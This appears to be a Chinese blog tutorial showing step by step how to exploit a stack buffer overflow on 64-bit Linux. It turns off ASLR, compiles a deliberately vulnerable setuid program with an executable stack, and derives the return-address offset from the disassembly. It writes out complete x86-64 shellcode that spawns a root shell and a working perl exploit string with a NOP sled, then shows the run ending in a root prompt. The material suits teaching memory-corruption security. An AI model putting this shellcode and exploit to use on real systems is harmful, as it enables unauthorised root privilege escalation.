什么是固定地址,请参考博客系列中的三(linux下的进程布局)
首先我们要先设置linux的系统参数
echo 0 >/proc/sys/kernel/randomize_va_space
命名为:
vulnerable.c
#include <stdio.h> #include <string.h> int main(int argc, char** argv) { char buffer[500]; printf("buf's 0x%8x\n",&buffer); strcpy(buffer, argv[1]); return 0; }
因为我们要给数组注入shellcode, 并且目标是把栈中的函数返回地址指向我们的数组开始的地址,那这样rip就会顺着这个数组的内容开始执行,虽然前面说的我们设置了参数为0的randomize_va_space,但是结果是不同的用户执行还是会有不同的起始地址(但对同一个用户执行多次的结果还是一致),为了方便攻击,我们直接打印出开始地址,这样减少猜测的时间。
在反汇编的代码的时候,我们会看到大量的 x90 的opcode 代表的汇编是nop,(No Operation)这是一个空指令,代表的是什么也不执行,但占用一个指令运行的时间。
在进行栈攻击的时候使用这个指令的意义就是有的时候可能会指错数组的地址,但如果我们给数组里填充了大量的nop指令,就是不论指到数组的那个位置都会通过运行nop最后执行到我们想要执行的shellcode.
因为x0位数组复制的结束符,那意味着strcpy 不会复制x0后面的内容
在前面的系列第2篇中,我们已经准备好了我们准备攻击的shellcode 的opcode了
\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62 \x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57 \x48\x89\xe6\xb0\x3b\x0f\x05 |
先看看main函数的汇编
400504: 55 push %rbp 400505: 48 89 e5 mov %rsp,%rbp 400508: 48 81 ec 10 02 00 00 sub $0x210,%rsp 40050f: 89 bd fc fd ff ff mov %edi,-0x204(%rbp) 400515: 48 89 b5 f0 fd ff ff mov %rsi,-0x210(%rbp) .. 400549: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax 400550: 48 89 d6 mov %rdx,%rsi 400553: 48 89 c7 mov %rax,%rdi 400556: e8 b5 fe ff ff callq 400410 <strcpy@plt>
和mov %rax,%rdi
这是把数组的首地址传给strcpy,也就是-0x200(%rbp)这个地址,计算0x200是十进制 512, 整个数组的起始地址是%rbp-0x200, 而rbp是这个函数栈的基地址,而在上移8个byte是上个函数的执行到的位置地址,也就是要覆盖前面的 512+8=520的位置,这个位置为退出函数后rip的执行地址的起始位置。
我们来开始构造数组里的内容
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x461;print "\x50\xde\xff\xff\xff\x7f"'`
shellcode 的opcode 有43个byte, x90填充了共16+461个 也就是520
而最后面的 print "\x50\xde\xff\xff\xff\x7f"' 就是我们想覆盖的地址,我们把它改成&buffer的首地址。这样当函数main退出后,rip 将会指向地址0x7fffffffde50,而这个地址是buffer数组的首地址,接着rip开始顺着数组里的内容执行,那我们的shellcode就顺利的被执行了。
gcc 默认是关闭execstack参数的,也就是不允许在栈里执行代码,所以我们在编译的时候必须要打开
gcc -z execstack -o vulnerable vulnerable.c chmod u+s vulnerable su test ./vulnerable `perl -e 'print "\x90"x530'` buf's 0xffffde80 //这就是我们要找的地址 Segmentation fault ./vulnerable `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb \xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89 \xe6\xb0\x3b\x0f\x05";print "\x90"x461;print "\x80\xde\xff\xff\xff\x7f"'` sh-4.1#whoami root
wammmm.....
你看到了什么? 你变成了root, 你从test轻易的变成了root,这就是完成了一次完美的栈溢出攻击
其实能完成栈攻击并不简单,我们需要具备多个条件在这次攻击中
首先要具备可以在栈上执行的代码
其次buffer的数组也要够长,能够塞满我们的攻击代码,我们的攻击代码有43个byte
最重要的一点我们使用0这个randomize_va_space 的参数,保证了每次运行的时候数组的地址是一样的。
当然为了变成root,我们同时也需要这个程序具有s的权限